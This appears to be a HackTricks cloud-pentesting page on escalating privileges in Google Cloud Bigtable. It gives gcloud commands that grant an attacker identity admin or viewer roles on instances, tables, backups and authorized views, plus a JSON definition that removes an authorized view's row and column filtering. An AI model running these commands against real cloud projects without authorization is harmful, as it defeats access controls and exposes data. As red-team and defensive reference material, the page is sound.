GCP - Bigtable Privesc

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Bigtable

For more information about Bigtable check:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Permissions: bigtable.instances.setIamPolicy (and usually bigtable.instances.getIamPolicy to read the current bindings).

Owning the instance IAM policy lets you grant yourself roles/bigtable.admin (or any custom role) which cascades to every cluster, table, backup and authorized view in the instance.

Grant yourself bigtable.admin role on instance 
gcloud bigtable instances add-iam-policy-binding <instance-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'

Tip

If you cannot list the existing bindings, craft a fresh policy document and push it with gcloud bigtable instances set-iam-policy as long as you keep yourself on it.

After having this permission check in the Bigtable Post Exploitation section techniques for more ways to abuse Bigtable permissions.

bigtable.tables.setIamPolicy

Permissions: bigtable.tables.setIamPolicy (optionally bigtable.tables.getIamPolicy).

Instance policies can be locked down while individual tables are delegated. If you can edit the table IAM you can promote yourself to owner of the target dataset without touching other workloads.

Grant yourself bigtable.admin role on table 
gcloud bigtable tables add-iam-policy-binding <table-id> \
  --instance=<instance-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'

After having this permission check in the Bigtable Post Exploitation section techniques for more ways to abuse Bigtable permissions.

bigtable.backups.setIamPolicy

Permissions: bigtable.backups.setIamPolicy

Backups can be restored to any instance in any project you control. First, give your identity access to the backup, then restore it into a sandbox where you hold Admin/Owner roles.

If you have the permission bigtable.backups.setIamPolicy you could grant yourself the permission bigtable.backups.restore to restore old backups and try to access sensitiv information.

Take ownership of backup snapshot 
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
  --instance=<instance-id> --cluster=<cluster-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'

After having this permission check in the Bigtable Post Exploitation section to check how to restore a backup.

Update authorized view

Permissions: bigtable.authorizedViews.update

Authorized Views are supposed to redact rows/columns. Modifying or deleting them removes the fine-grained guardrails that defenders rely on.

Update authorized view to broaden access 
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
  --instance=<instance-id> --table=<table-id> \
  --definition-file=/tmp/permissive-view.json --ignore-warnings

# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
  "subsetView": {
    "rowPrefixes": [""],
    "familySubsets": {
      "<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
        "qualifierPrefixes": [""]
      }
    }
  }
}
EOF

# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
  --instance=<instance-id> --table=<table-id>

After having this permission check in the Bigtable Post Exploitation section to check how to read from an authorized view.

bigtable.authorizedViews.setIamPolicy

Permissions: bigtable.authorizedViews.setIamPolicy.

An attacker with this permission can grant themselves access to an Authorized View, which may contain sensitive data that they would not otherwise have access to.

Grant yourself access to authorized view 
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
  --instance=<instance-id> --table=<table-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.viewer'

After having this permission check in the Bigtable Post Exploitation section to check how to read from an authorized view.

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks